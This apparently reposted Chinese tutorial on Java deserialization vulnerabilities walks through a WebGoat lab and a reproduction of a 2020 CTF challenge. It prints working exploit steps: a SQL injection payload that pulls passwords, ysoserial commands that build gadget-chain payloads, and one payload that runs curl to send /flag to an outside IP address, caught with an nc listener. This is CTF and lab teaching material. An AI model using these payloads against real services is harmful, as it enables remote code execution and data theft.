Java反序列漏洞


 

 

 

序列化:WriteObject

反序列化:readObject()

 

Jd-gui.exe 最簡單的打開java文件方式

Intellij idea 編輯工具

 

演示案例:

 

WebGoat_Javaweb靶場反序列化測試

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

 

2020-網鼎杯-朱雀組-Web-think_java真題復現

 1 0x01 注入判斷,獲取管理員帳號密碼:
 2 根據提示附件進行javaweb代碼審計,發現可能存在注入漏洞
 3 另外有swagger開發接口,測試注入漏洞及訪問接口進行調用測試
 4 數據庫名:myapp,列名name,pwd
 5 注入測試:
 6 POST /common/test/sqlDict
 7 dbName=myapp?a=' union select (select pwd from user)#
 8  
 9 0x02 接口測試
10 /swagger-ui.html接口測試:
11 {
12 "password":"ctfhub_29588_13038",
13   "username": "ctfhub"
14 }
15 登錄成功返回數據:
16 {  
17 "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==",  
18 "msg": "登錄成功",  
19 "status": 2,  
20 "timestamps": 1594549037415
21 }
22  
23 0x03 回顯數據分析攻擊思路
24 JAVAWEB特征可以作為序列化的標志參考:
25 一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據。
26 或者如果以aced開頭,那么他就是這一段java序列化的16進制。
27  
28 分析數據:
29 先利用py2腳本base64解密數據
30 import base64
31 a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
32 b = base64.b64decode(a).encode('hex')
33 print(b)
34  
35 再利用SerializationDumper解析數據
36 java -jar SerializationDumper.jar base64后的數據
37  
38 0x04 生成反序列化payload
39 解密后數據中包含帳號等信息,通過接口/common/user/current分析可知數據有接受,說明存在反序列化操作,思路:將惡意代碼進行序列化后進行后續操作
40 利用ysoserial進行序列化生成
41 java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin
42 利用py2腳本進行反序列化數據的提取
43 import base64
44 file = open("xiaodi.bin","rb")
45 now = file.read()
46 ba = base64.b64encode(now)
47 print(ba)
48 file.close()
49  
50 0x05 觸發反序列化,獲取flag
51 服務器執行:nc -lvvp 4444
52 數據包直接請求獲取進行反序列數據加載操作

 

涉及資源:

https://github.com/frohoff/ysoserial/releases

https://github.com/WebGoat/WebGoat/releases

https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12

base64加密
import base64
c=open("payload.bin","rb").read()
cc=base64.urlsafe_b64encode(c)
open("payload.txt","wt",ecoding="utf-8").write(cc.decode())

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM